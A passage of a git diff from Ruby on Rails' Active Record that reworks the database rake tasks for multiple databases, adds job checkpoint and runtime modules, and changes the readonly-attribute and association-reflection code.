+              puts "  %4d %s" % [pending_migration.version, pending_migration.name]
+            end
+
+            abort %{Run `bin/rails db:migrate:#{name}` to update your database then try again.}
+          end
+        end
+      end
+    end
+  end
+
+  namespace :setup do
+    task all: ["db:create", :environment, "db:schema:load", :seed]
+
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Create the #{name} database, load the schema, and initialize with the seed data (use db:reset:#{name} to also drop the database first)"
+      task name => ["db:create:#{name}", :environment, "db:schema:load:#{name}", "db:seed"]
+    end
+  end
+
+  desc "Create all databases, load all schemas, and initialize with the seed data (use db:reset to also drop all databases first)"
+  task setup: ["db:create", :environment, "db:schema:load", :seed]
+
+  desc "Run setup if database does not exist, or run migrations if it does"
+  task prepare: :load_config do
+    ActiveRecord::Tasks::DatabaseTasks.prepare_all
+  end
+
+  desc "Load the seed data from db/seeds.rb"
+  task seed: :load_config do
     db_namespace["abort_if_pending_migrations"].invoke
     ActiveRecord::Tasks::DatabaseTasks.load_seed
   end
 
+  namespace :seed do
+    desc "Truncate tables of each database for current environment and load the seeds"
+    task replant: [:load_config, :truncate_all, :seed]
+  end
+
   namespace :fixtures do
-    desc "Loads fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
-    task load: [:environment, :load_config] do
+    desc "Load fixtures into the current environment's database. To load specific fixtures, use FIXTURES=x,y. To load from subdirectory in test/fixtures, use FIXTURES_DIR=z. To specify an alternative path (e.g. spec/fixtures), use FIXTURES_PATH=spec/fixtures."
+    task load: :load_config do
       require "active_record/fixtures"
 
       base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -212,15 +423,16 @@ db_namespace = namespace :db do
       fixture_files = if ENV["FIXTURES"]
         ENV["FIXTURES"].split(",")
       else
-        # The use of String#[] here is to support namespaced fixtures.
-        Dir["#{fixtures_dir}/**/*.yml"].map { |f| f[(fixtures_dir.size + 1)..-5] }
+        files = Dir[File.join(fixtures_dir, "**/*.{yml}")]
+        files.reject! { |f| f.start_with?(File.join(fixtures_dir, "files")) }
+        files.map! { |f| f[fixtures_dir.to_s.size..-5].delete_prefix("/") }
       end
 
       ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_files)
     end
 
-    # desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
-    task identify: [:environment, :load_config] do
+    # desc "Search for a fixture given a LABEL or ID. Specify an alternative path (e.g. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+    task identify: :load_config do
       require "active_record/fixtures"
 
       label, id = ENV["LABEL"], ENV["ID"]
@@ -231,7 +443,7 @@ db_namespace = namespace :db do
       base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
 
       Dir["#{base_dir}/**/*.yml"].each do |file|
-        if data = YAML::load(ERB.new(IO.read(file)).result)
+        if data = ActiveSupport::ConfigurationFile.parse(file)
           data.each_key do |key|
             key_id = ActiveRecord::FixtureSet.identify(key)
 
@@ -245,107 +457,132 @@ db_namespace = namespace :db do
   end
 
   namespace :schema do
-    desc "Creates a db/schema.rb file that is portable against any DB supported by Active Record"
-    task dump: [:environment, :load_config] do
-      require "active_record/schema_dumper"
-      filename = ENV["SCHEMA"] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema.rb")
-      File.open(filename, "w:utf-8") do |file|
-        ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
-      end
+    desc "Create a database schema file (either db/schema.rb or db/structure.sql, depending on `ENV['SCHEMA_FORMAT']` or `config.active_record.schema_format`)"
+    task dump: :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.dump_all
+
       db_namespace["schema:dump"].reenable
     end
 
-    desc "Loads a schema.rb file into the database"
-    task load: [:environment, :load_config, :check_protected_environments] do
-      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:ruby, ENV["SCHEMA"])
+    desc "Load a database schema file (either db/schema.rb or db/structure.sql, depending on `ENV['SCHEMA_FORMAT']` or `config.active_record.schema_format`) into the database"
+    task load: [:load_config, :check_protected_environments] do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(ENV["SCHEMA_FORMAT"], ENV["SCHEMA"])
     end
 
-    task load_if_ruby: ["db:create", :environment] do
-      db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
-    end
+    namespace :dump do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Create a database schema file (either db/schema.rb or db/structure.sql, depending on configuration) for #{name} database"
+        task name => :load_config do
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(name: name) do |pool|
+            db_config = pool.db_config
+            ActiveRecord::Tasks::DatabaseTasks.dump_schema(db_config, ENV["SCHEMA_FORMAT"] || db_config.schema_format)
+          end
 
-    namespace :cache do
-      desc "Creates a db/schema_cache.yml file."
-      task dump: [:environment, :load_config] do
-        conn = ActiveRecord::Base.connection
-        filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.yml")
-        ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(conn, filename)
+          db_namespace["schema:dump:#{name}"].reenable
+        end
       end
+    end
 
-      desc "Clears a db/schema_cache.yml file."
-      task clear: [:environment, :load_config] do
-        filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.yml")
-        rm_f filename, verbose: false
+    namespace :load do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Load a database schema file (either db/schema.rb or db/structure.sql, depending on configuration) into the #{name} database"
+        task name => [:load_config, :check_protected_environments] do
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(name: name) do |pool|
+            db_config = pool.db_config
+            ActiveRecord::Tasks::DatabaseTasks.load_schema(db_config, ENV["SCHEMA_FORMAT"] || db_config.schema_format)
+          end
+        end
       end
     end
 
-  end
-
-  namespace :structure do
-    desc "Dumps the database structure to db/structure.sql. Specify another file with SCHEMA=db/my_structure.sql"
-    task dump: [:environment, :load_config] do
-      filename = ENV["SCHEMA"] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
-      current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
-      ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
+    namespace :cache do
+      desc "Create a db/schema_cache.yml file."
+      task dump: :load_config do
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each do |pool|
+          db_config = pool.db_config
+          filename = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(db_config)
 
-      if ActiveRecord::Base.connection.supports_migrations? &&
-          ActiveRecord::SchemaMigration.table_exists?
-        File.open(filename, "a") do |f|
-          f.puts ActiveRecord::Base.connection.dump_schema_information
-          f.print "\n"
+          ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(pool, filename)
         end
       end
-      db_namespace["structure:dump"].reenable
-    end
 
-    desc "Recreates the databases from the structure.sql file"
-    task load: [:environment, :load_config, :check_protected_environments] do
-      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:sql, ENV["SCHEMA"])
+      desc "Clear a db/schema_cache.yml file."
+      task clear: :load_config do
+        ActiveRecord::Base.configurations.configs_for(env_name: ActiveRecord::Tasks::DatabaseTasks.env).each do |db_config|
+          filename = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(db_config)
+          ActiveRecord::Tasks::DatabaseTasks.clear_schema_cache(
+            filename,
+          )
+        end
+      end
     end
+  end
 
-    task load_if_sql: ["db:create", :environment] do
-      db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
+  namespace :encryption do
+    desc "Generate a set of keys for configuring Active Record encryption in a given environment"
+    task :init do
+      puts <<~MSG
+        Add this entry to the credentials of the target environment:#{' '}
+
+        active_record_encryption:
+          primary_key: #{SecureRandom.alphanumeric(32)}
+          deterministic_key: #{SecureRandom.alphanumeric(32)}
+          key_derivation_salt: #{SecureRandom.alphanumeric(32)}
+      MSG
     end
   end
 
   namespace :test do
-    # desc "Recreate the test database from the current schema"
-    task load: %w(db:test:purge) do
-      case ActiveRecord::Base.schema_format
-      when :ruby
-        db_namespace["test:load_schema"].invoke
-      when :sql
-        db_namespace["test:load_structure"].invoke
-      end
-    end
-
-    # desc "Recreate the test database from an existent schema.rb file"
+    # desc "Recreate the test database from an existent schema file (schema.rb or structure.sql, depending on configuration)"
     task load_schema: %w(db:test:purge) do
-      begin
-        should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
+      ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: "test") do |pool|
+        db_config = pool.db_config
         ActiveRecord::Schema.verbose = false
-        ActiveRecord::Tasks::DatabaseTasks.load_schema ActiveRecord::Base.configurations["test"], :ruby, ENV["SCHEMA"]
-      ensure
-        if should_reconnect
-          ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations[ActiveRecord::Tasks::DatabaseTasks.env])
-        end
+        ActiveRecord::Tasks::DatabaseTasks.load_schema(db_config, ENV["SCHEMA_FORMAT"] || db_config.schema_format)
       end
     end
 
-    # desc "Recreate the test database from an existent structure.sql file"
-    task load_structure: %w(db:test:purge) do
-      ActiveRecord::Tasks::DatabaseTasks.load_schema ActiveRecord::Base.configurations["test"], :sql, ENV["SCHEMA"]
-    end
-
     # desc "Empty the test database"
-    task purge: %w(environment load_config check_protected_environments) do
-      ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations["test"]
+    task purge: %w(load_config check_protected_environments) do
+      ActiveRecord::Base.configurations.configs_for(env_name: "test").each do |db_config|
+        ActiveRecord::Tasks::DatabaseTasks.purge(db_config)
+      end
     end
 
     # desc 'Load the test schema'
-    task prepare: %w(environment load_config) do
+    task prepare: :load_config do
       unless ActiveRecord::Base.configurations.blank?
-        db_namespace["test:load"].invoke
+        db_namespace["test:load_schema"].invoke
+      end
+    end
+
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      # desc "Recreate the #{name} test database from an existent schema.rb file"
+      namespace :load_schema do
+        task name => "db:test:purge:#{name}" do
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: "test", name: name) do |pool|
+            db_config = pool.db_config
+            ActiveRecord::Schema.verbose = false
+            ActiveRecord::Tasks::DatabaseTasks.load_schema(db_config, ENV["SCHEMA_FORMAT"] || db_config.schema_format)
+          end
+        end
+      end
+
+      # desc "Empty the #{name} test database"
+      namespace :purge do
+        task name => %w(load_config check_protected_environments) do
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: "test", name: name) do |pool|
+            db_config = pool.db_config
+            ActiveRecord::Tasks::DatabaseTasks.purge(db_config)
+          end
+        end
+      end
+
+      # desc 'Load the #{name} database test schema'
+      namespace :prepare do
+        task name => :load_config do
+          db_namespace["test:load_schema:#{name}"].invoke
+        end
       end
     end
   end
@@ -353,7 +590,7 @@ end
 
 namespace :railties do
   namespace :install do
-    # desc "Copies missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2"
+    # desc "Copy missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2 and database to copy to with DATABASE=database."
     task migrations: :'db:load_config' do
       to_load = ENV["FROM"].blank? ? :all : ENV["FROM"].split(",").map(&:strip)
       railties = {}
@@ -363,6 +600,10 @@ namespace :railties do
         if railtie.respond_to?(:paths) && (path = railtie.paths["db/migrate"].first)
           railties[railtie.railtie_name] = path
         end
+
+        unless ENV["MIGRATIONS_PATH"].blank?
+          railties[railtie.railtie_name] = railtie.root + ENV["MIGRATIONS_PATH"]
+        end
       end
 
       on_skip = Proc.new do |name, migration|
@@ -373,7 +614,16 @@ namespace :railties do
         puts "Copied migration #{migration.basename} from #{name}"
       end
 
-      ActiveRecord::Migration.copy(ActiveRecord::Tasks::DatabaseTasks.migrations_paths.first, railties,
+      if ENV["DATABASE"].present? && ENV["DATABASE"] != "primary"
+        config = ActiveRecord::Base.configurations.configs_for(name: ENV["DATABASE"])
+        raise "Invalid DATABASE provided" if config.blank?
+        destination = config.migrations_paths
+        raise "#{ENV["DATABASE"]} does not have a custom migration path" if destination.blank?
+      else
+        destination = ActiveRecord::Tasks::DatabaseTasks.migrations_paths.first
+      end
+
+      ActiveRecord::Migration.copy(destination, railties,
                                     on_skip: on_skip, on_copy: on_copy)
     end
   end
diff --git a/activerecord/lib/active_record/railties/jdbcmysql_error.rb b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
deleted file mode 100644
index d7cf4df339e0d..0000000000000
--- a/activerecord/lib/active_record/railties/jdbcmysql_error.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-#FIXME Remove if ArJdbcMysql will give.
-module ArJdbcMySQL #:nodoc:
-  class Error < StandardError #:nodoc:
-    attr_accessor :error_number, :sql_state
-
-    def initialize(msg)
-      super
-      @error_number = nil
-      @sql_state    = nil
-    end
-
-    # Mysql gem compatibility
-    alias_method :errno, :error_number
-    alias_method :error, :message
-  end
-end
diff --git a/activerecord/lib/active_record/railties/job_checkpoints.rb b/activerecord/lib/active_record/railties/job_checkpoints.rb
new file mode 100644
index 0000000000000..c2b4a3535a302
--- /dev/null
+++ b/activerecord/lib/active_record/railties/job_checkpoints.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Railties # :nodoc:
+    module JobCheckpoints # :nodoc:
+      def checkpoint!
+        if ActiveRecord.all_open_transactions.any?
+          raise ActiveJob::Continuation::CheckpointError, "Cannot checkpoint job with open transactions"
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/railties/job_runtime.rb b/activerecord/lib/active_record/railties/job_runtime.rb
new file mode 100644
index 0000000000000..61cde5308bad8
--- /dev/null
+++ b/activerecord/lib/active_record/railties/job_runtime.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "active_record/runtime_registry"
+
+module ActiveRecord
+  module Railties # :nodoc:
+    module JobRuntime # :nodoc:
+      def instrument(operation, payload = {}, &block) # :nodoc:
+        if operation == :perform && block
+          super(operation, payload) do
+            db_runtime_before_perform = ActiveRecord::RuntimeRegistry.stats.sql_runtime
+            result = block.call
+            payload[:db_runtime] = ActiveRecord::RuntimeRegistry.stats.sql_runtime - db_runtime_before_perform
+            result
+          end
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
index 6274996ab8c83..310d105a765ab 100644
--- a/activerecord/lib/active_record/readonly_attributes.rb
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -1,23 +1,66 @@
+# frozen_string_literal: true
+
 module ActiveRecord
+  class ReadonlyAttributeError < ActiveRecordError
+  end
+
   module ReadonlyAttributes
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :_attr_readonly, instance_accessor: false
-      self._attr_readonly = []
+      class_attribute :_attr_readonly, instance_accessor: false, default: []
     end
 
     module ClassMethods
-      # Attributes listed as readonly will be used to create a new record but update operations will
-      # ignore these fields.
+      # Attributes listed as readonly will be used to create a new record.
+      # Assigning a new value to a readonly attribute on a persisted record raises an error.
+      #
+      # By setting +config.active_record.raise_on_assign_to_attr_readonly+ to +false+, it will
+      # not raise. The value will change in memory, but will not be persisted on +save+.
+      #
+      # ==== Examples
+      #
+      #   class Post < ActiveRecord::Base
+      #     attr_readonly :title
+      #   end
+      #
+      #   post = Post.create!(title: "Introducing Ruby on Rails!")
+      #   post.title = "a different title" # raises ActiveRecord::ReadonlyAttributeError
+      #   post.update(title: "a different title") # raises ActiveRecord::ReadonlyAttributeError
       def attr_readonly(*attributes)
-        self._attr_readonly = Set.new(attributes.map(&:to_s)) + (_attr_readonly || [])
+        self._attr_readonly |= attributes.map(&:to_s)
+
+        if ActiveRecord.raise_on_assign_to_attr_readonly
+          include(HasReadonlyAttributes)
+        end
       end
 
       # Returns an array of all the attributes that have been specified as readonly.
       def readonly_attributes
         _attr_readonly
       end
+
+      def readonly_attribute?(name) # :nodoc:
+        _attr_readonly.include?(name)
+      end
+    end
+
+    module HasReadonlyAttributes # :nodoc:
+      def write_attribute(attr_name, value)
+        if !new_record? && self.class.readonly_attribute?(attr_name.to_s)
+          raise ReadonlyAttributeError.new(attr_name)
+        end
+
+        super
+      end
+
+      def _write_attribute(attr_name, value)
+        if !new_record? && self.class.readonly_attribute?(attr_name.to_s)
+          raise ReadonlyAttributeError.new(attr_name)
+        end
+
+        super
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index 61a22792922fe..2d731b8f85399 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -1,6 +1,6 @@
-require "thread"
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/filters"
-require "active_support/deprecation"
 
 module ActiveRecord
   # = Active Record Reflection
@@ -8,40 +8,47 @@ module Reflection # :nodoc:
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :_reflections, instance_writer: false
-      class_attribute :aggregate_reflections, instance_writer: false
-      self._reflections = {}
-      self.aggregate_reflections = {}
+      class_attribute :_reflections, instance_writer: false, default: {}
+      class_attribute :aggregate_reflections, instance_writer: false, default: {}
+      class_attribute :automatic_scope_inversing, instance_writer: false, default: false
+      class_attribute :automatically_invert_plural_associations, instance_writer: false, default: false
     end
 
-    def self.create(macro, name, scope, options, ar)
-      klass = \
-        case macro
-        when :composed_of
-          AggregateReflection
-        when :has_many
-          HasManyReflection
-        when :has_one
-          HasOneReflection
-        when :belongs_to
-          BelongsToReflection
-        else
-          raise "Unsupported Macro: #{macro}"
-        end
+    class << self
+      def create(macro, name, scope, options, ar)
+        reflection = reflection_class_for(macro).new(name, scope, options, ar)
+        options[:through] ? ThroughReflection.new(reflection) : reflection
+      end
 
-      reflection = klass.new(name, scope, options, ar)
-      options[:through] ? ThroughReflection.new(reflection) : reflection
-    end
+      def add_reflection(ar, name, reflection)
+        ar.clear_reflections_cache
+        name = name.to_sym
+        ar._reflections = ar._reflections.except(name).merge!(name => reflection)
+      end
 
-    def self.add_reflection(ar, name, reflection)
-      ar.clear_reflections_cache
-      ar._reflections = ar._reflections.merge(name.to_s => reflection)
-    end
+      def add_aggregate_reflection(ar, name, reflection)
+        ar.aggregate_reflections = ar.aggregate_reflections.merge(name.to_sym => reflection)
+      end
 
-    def self.add_aggregate_reflection(ar, name, reflection)
-      ar.aggregate_reflections = ar.aggregate_reflections.merge(name.to_s => reflection)
+      private
+        def reflection_class_for(macro)
+          case macro
+          when :composed_of
+            AggregateReflection
+          when :has_many
+            HasManyReflection
+          when :has_one
+            HasOneReflection
+          when :belongs_to
+            BelongsToReflection
+          else
+            raise "Unsupported Macro: #{macro}"
+          end
+        end
     end
 
+    # = Active Record Reflection
+    #
     # \Reflection enables the ability to examine the associations and aggregations of
     # Active Record classes and objects. This information, for example,
     # can be used in a form builder that takes an Active Record object
@@ -61,7 +68,7 @@ def reflect_on_all_aggregations
       #   Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
       #
       def reflect_on_aggregation(aggregation)
-        aggregate_reflections[aggregation.to_s]
+        aggregate_reflections[aggregation.to_sym]
       end
 
       # Returns a Hash of name of the reflection as the key and an AssociationReflection as the value.
@@ -69,6 +76,10 @@ def reflect_on_aggregation(aggregation)
       #   Account.reflections # => {"balance" => AggregateReflection}
       #
       def reflections
+        normalized_reflections.stringify_keys
+      end
+
+      def normalized_reflections # :nodoc:
         @__reflections ||= begin
           ref = {}
 
@@ -77,13 +88,13 @@ def reflections
 
             if parent_reflection
               parent_name = parent_reflection.name
-              ref[parent_name.to_s] = parent_reflection
+              ref[parent_name] = parent_reflection
             else
               ref[name] = reflection
             end
           end
 
-          ref
+          ref.freeze
         end
       end
 
@@ -98,7 +109,7 @@ def reflections
       #   Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
       #
       def reflect_on_all_associations(macro = nil)
-        association_reflections = reflections.values
+        association_reflections = normalized_reflections.values
         association_reflections.select! { |reflection| reflection.macro == macro } if macro
         association_reflections
       end
@@ -109,21 +120,31 @@ def reflect_on_all_associations(macro = nil)
       #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
       #
       def reflect_on_association(association)
-        reflections[association.to_s]
+        normalized_reflections[association.to_sym]
       end
 
-      def _reflect_on_association(association) #:nodoc:
-        _reflections[association.to_s]
+      def _reflect_on_association(association) # :nodoc:
+        _reflections[association.to_sym]
       end
 
       # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
       def reflect_on_all_autosave_associations
-        reflections.values.select { |reflection| reflection.options[:autosave] }
+        reflections = normalized_reflections.values
+        reflections.select! { |reflection| reflection.options[:autosave] }
+        reflections
       end
 
       def clear_reflections_cache # :nodoc:
         @__reflections = nil
       end
+
+      private
+        def inherited(subclass)
+          super
+          subclass.class_eval do
+            @__reflections = nil
+          end
+        end
     end
 
     # Holds all the methods that are shared between MacroReflection and ThroughReflection.
@@ -138,8 +159,16 @@ def clear_reflections_cache # :nodoc:
     #         HasAndBelongsToManyReflection
     #     ThroughReflection
     #     PolymorphicReflection
-    #       RuntimeReflection
+    #     RuntimeReflection
     class AbstractReflection # :nodoc:
+      def initialize
+        @class_name = nil
+        @counter_cache_column = nil
+        @inverse_of = nil
+        @inverse_which_updates_counter_cache_defined = false
+        @inverse_which_updates_counter_cache = nil
+      end
+
       def through_reflection?
         false
       end
@@ -154,26 +183,12 @@ def build_association(attributes, &block)
         klass.new(attributes, &block)
       end
 
-      def quoted_table_name
-        klass.quoted_table_name
-      end
-
-      def primary_key_type
-        klass.type_for_attribute(klass.primary_key)
-      end
-
       # Returns the class name for the macro.
       #
       # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
       # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
       def class_name
-        @class_name ||= (options[:class_name] || derive_class_name).to_s
-      end
-
-      JoinKeys = Struct.new(:key, :foreign_key) # :nodoc:
-
-      def join_keys(association_klass)
-        JoinKeys.new(foreign_key, active_record_primary_key)
+        @class_name ||= -(options[:class_name] || derive_class_name).to_s
       end
 
       # Returns a list of scopes that should be applied for this Reflection
@@ -182,24 +197,61 @@ def scopes
         scope ? [scope] : []
       end
 
-      def scope_chain
-        chain.map(&:scopes)
+      def join_scope(table, foreign_table, foreign_klass)
+        predicate_builder = klass.predicate_builder.with(TableMetadata.new(klass, table))
+        scope_chain_items = join_scopes(table, predicate_builder)
+        klass_scope       = klass_join_scope(table, predicate_builder)
+
+        if type
+          klass_scope.where!(type => foreign_klass.polymorphic_name)
+        end
+
+        scope_chain_items.inject(klass_scope, &:merge!)
+
+        primary_key_column_names = Array(join_primary_key)
+        foreign_key_column_names = Array(join_foreign_key)
+
+        primary_foreign_key_pairs = primary_key_column_names.zip(foreign_key_column_names)
+
+        primary_foreign_key_pairs.each do |primary_key_column_name, foreign_key_column_name|
+          klass_scope.where!(table[primary_key_column_name].eq(foreign_table[foreign_key_column_name]))
+        end
+
+        if klass.finder_needs_type_condition?
+          klass_scope.where!(klass.send(:type_condition, table))
+        end
+
+        klass_scope
+      end
+
+      def join_scopes(table, predicate_builder = nil, klass = self.klass, record = nil) # :nodoc:
+        if scope
+          [scope_for(build_scope(table, predicate_builder, klass), record)]
+        else
+          []
+        end
+      end
+
+      def klass_join_scope(table, predicate_builder = nil) # :nodoc:
+        relation = build_scope(table, predicate_builder)
+        klass.scope_for_association(relation)
       end
-      deprecate :scope_chain
 
       def constraints
-        chain.map(&:scopes).flatten
+        chain.flat_map(&:scopes)
       end
 
       def counter_cache_column
-        if belongs_to?
-          if options[:counter_cache] == true
-            "#{active_record.name.demodulize.underscore.pluralize}_count"
-          elsif options[:counter_cache]
-            options[:counter_cache].to_s
+        @counter_cache_column ||= begin
+          counter_cache = options[:counter_cache]
+
+          if belongs_to?
+            if counter_cache
+              counter_cache[:column] || -"#{active_record.name.demodulize.underscore.pluralize}_count"
+            end
+          else
+            -((counter_cache && -counter_cache[:column]) || "#{name}_count")
           end
-        else
-          options[:counter_cache] ? options[:counter_cache].to_s : "#{name}_count"
         end
       end
 
@@ -210,14 +262,17 @@ def inverse_of
       end
 
       def check_validity_of_inverse!
-        unless polymorphic?
-          if has_inverse? && inverse_of.nil?
+        if !polymorphic? && has_inverse?
+          if inverse_of.nil?
             raise InverseOfAssociationNotFoundError.new(self)
           end
+          if inverse_of == self
+            raise InverseOfAssociationRecursiveError.new(self)
+          end
         end
       end
 
-      # This shit is nasty. We need to avoid the following situation:
+      # We need to avoid the following situation:
       #
       #   * An associated record is deleted via record.destroy
       #   * Hence the callbacks run, and they find a belongs_to on the record with a
@@ -228,10 +283,16 @@ def check_validity_of_inverse!
       #
       # Hence this method.
       def inverse_which_updates_counter_cache
-        return @inverse_which_updates_counter_cache if defined?(@inverse_which_updates_counter_cache)
-        @inverse_which_updates_counter_cache = klass.reflect_on_all_associations(:belongs_to).find do |inverse|
-          inverse.counter_cache_column == counter_cache_column
+        unless @inverse_which_updates_counter_cache_defined
+          if counter_cache_column
+            inverse_candidates = inverse_of ? [inverse_of] : klass.reflect_on_all_associations(:belongs_to)
+            @inverse_which_updates_counter_cache = inverse_candidates.find do |inverse|
+              inverse.counter_cache_column == counter_cache_column && (inverse.polymorphic? || inverse.klass == active_record)
+            end
+          end
+          @inverse_which_updates_counter_cache_defined = true
         end
+        @inverse_which_updates_counter_cache
       end
       alias inverse_updates_counter_cache? inverse_which_updates_counter_cache
 
@@ -239,14 +300,25 @@ def inverse_updates_counter_in_memory?
         inverse_of && inverse_which_updates_counter_cache == inverse_of
       end
 
-      # Returns whether a counter cache should be used for this association.
+      # Returns whether this association has a counter cache.
       #
       # The counter_cache option must be given on either the owner or inverse
       # association, and the column must be present on the owner.
       def has_cached_counter?
         options[:counter_cache] ||
           inverse_which_updates_counter_cache && inverse_which_updates_counter_cache.options[:counter_cache] &&
-          !!active_record.columns_hash[counter_cache_column]
+          active_record.has_attribute?(counter_cache_column)
+      end
+
+      # Returns whether this association has a counter cache and its column values were backfilled
+      # (and so it is used internally by methods like +size+/+any?+/etc).
+      def has_active_cached_counter?
+        return false unless has_cached_counter?
+
+        counter_cache = options[:counter_cache] ||
+                        (inverse_which_updates_counter_cache && inverse_which_updates_counter_cache.options[:counter_cache])
+
+        counter_cache[:active] != false
       end
 
       def counter_must_be_updated_by_has_many?
@@ -260,6 +332,36 @@ def alias_candidate(name)
       def chain
         collect_join_chain
       end
+
+      def build_scope(table, predicate_builder = nil, klass = self.klass)
+        Relation.create(klass, table:, predicate_builder:)
+      end
+
+      def strict_loading?
+        options[:strict_loading]
+      end
+
+      def strict_loading_violation_message(owner)
+        message = +"`#{owner}` is marked for strict_loading."
+        message << " The #{polymorphic? ? "polymorphic association" : "#{klass} association"}"
+        message << " named `:#{name}` cannot be lazily loaded."
+      end
+
+      protected
+        def actual_source_reflection # FIXME: this is a horrible name
+          self
+        end
+
+      private
+        def primary_key(klass)
+          klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+        end
+
+        def ensure_option_not_given_as_class!(option_name)
+          if options[option_name] && options[option_name].class == Class
+            raise ArgumentError, "A class was passed to `:#{option_name}` but we are expecting a string."
+          end
+        end
     end
 
     # Base class for AggregateReflection and AssociationReflection. Objects of
@@ -284,9 +386,10 @@ class MacroReflection < AbstractReflection
       attr_reader :plural_name # :nodoc:
 
       def initialize(name, scope, options, active_record)
+        super()
         @name          = name
         @scope         = scope
-        @options       = options
+        @options       = normalize_options(options)
         @active_record = active_record
         @klass         = options[:anonymous_class]
         @plural_name   = active_record.pluralize_table_names ?
@@ -305,8 +408,31 @@ def autosave=(autosave)
       #
       # <tt>composed_of :balance, class_name: 'Money'</tt> returns the Money class
       # <tt>has_many :clients</tt> returns the Client class
+      #
+      #   class Company < ActiveRecord::Base
+      #     has_many :clients
+      #   end
+      #
+      #   Company.reflect_on_association(:clients).klass
+      #   # => Client
+      #
+      # <b>Note:</b> Do not call +klass.new+ or +klass.create+ to instantiate
+      # a new association object. Use +build_association+ or +create_association+
+      # instead. This allows plugins to hook into association object creation.
       def klass
-        @klass ||= compute_class(class_name)
+        @klass ||= _klass(class_name)
+      end
+
+      def _klass(class_name) # :nodoc:
+        if active_record.name.demodulize == class_name
+          begin
+            return compute_class("::#{class_name}")
+          rescue
+            # Ignored
+          end
+        end
+
+        compute_class(class_name)
       end
 
       def compute_class(name)
@@ -323,19 +449,39 @@ def ==(other_aggregation)
           active_record == other_aggregation.active_record
       end
 
-      def scope_for(klass)
-        scope ? klass.unscoped.instance_exec(nil, &scope) : klass.unscoped
+      def scope_for(relation, owner = nil)
+        relation.instance_exec(owner, &scope) || relation
       end
 
       private
         def derive_class_name
           name.to_s.camelize
         end
+
+        def normalize_options(options)
+          counter_cache = options.delete(:counter_cache)
+
+          if counter_cache
+            active = true
+
+            case counter_cache
+            when String, Symbol
+              column = -counter_cache.to_s
+            when Hash
+              active = counter_cache.fetch(:active, true)
+              column = counter_cache[:column]&.to_s
+            end
+
+            options[:counter_cache] = { active: active, column: column }
+          end
+
+          options
+        end
     end
 
     # Holds all the metadata about an aggregation as it was specified in the
     # Active Record class.
-    class AggregateReflection < MacroReflection #:nodoc:
+    class AggregateReflection < MacroReflection # :nodoc:
       def mapping
         mapping = options[:mapping] || [name, name]
         mapping.first.is_a?(Array) ? mapping : [mapping]
@@ -344,25 +490,29 @@ def mapping
 
     # Holds all the metadata about an association as it was specified in the
     # Active Record class.
